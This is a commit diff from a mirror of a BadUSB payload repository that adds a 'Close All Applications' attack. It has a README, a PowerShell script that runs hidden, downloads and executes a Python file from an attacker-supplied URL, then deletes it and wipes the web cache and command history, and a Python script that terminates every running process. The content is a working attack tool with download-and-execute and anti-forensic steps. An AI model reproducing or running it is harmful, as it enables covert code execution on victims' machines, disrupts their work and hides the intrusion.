mirror of https://github.com/hak5/omg-payloads.git
script
parent
541515bd5d
commit
fd1f9c16d8
|
@ -0,0 +1,28 @@
|
||||||
|
# Close All Applications - BADUSB ✅
|
||||||
|
|
||||||
|
A script used to close all target open applications.
|
||||||
|
|
||||||
|
🟢 **Plug-And-Play** 🟢
|
||||||
|
|
||||||
|
**Category**: Execution
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
A script used to close all target open applications.
|
||||||
|
|
||||||
|
Opens PowerShell hidden, download a Python script, execute it, remove Python script downloaded, delete powershell history.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Internet Connection
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
|
||||||
|
### Settings
|
||||||
|
|
||||||
|
- No settings - Plug-And-Play
|
|
@ -0,0 +1,18 @@
|
||||||
|
# Download Python script
|
||||||
|
|
||||||
|
# Reply $scriptUrl with YOUR LINK. The Payload should be script.py
|
||||||
|
$scriptUrl = "YOUR_END_USER_LINK_WITH_PAYLOAD"
|
||||||
|
$savePath = "$env:temp\script.py"
|
||||||
|
(New-Object System.Net.WebClient).DownloadFile($scriptUrl, $savePath)
|
||||||
|
|
||||||
|
# Execute Python script
|
||||||
|
& python $savePath
|
||||||
|
|
||||||
|
# Delete the downloaded script
|
||||||
|
Remove-Item $savePath
|
||||||
|
|
||||||
|
# Clear the download history from the system's web cache
|
||||||
|
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\Windows\WebCache\*" -Recurse -Force
|
||||||
|
|
||||||
|
# Clear the PowerShell command history
|
||||||
|
Clear-History
|
|
@ -0,0 +1,12 @@
|
||||||
|
try:
|
||||||
|
import psutil
|
||||||
|
except:
|
||||||
|
import os
|
||||||
|
os.system("pip install psutil")
|
||||||
|
import psutil
|
||||||
|
|
||||||
|
for process in psutil.process_iter():
|
||||||
|
try:
|
||||||
|
process.terminate()
|
||||||
|
except:
|
||||||
|
pass
|
Loading…
Reference in New Issue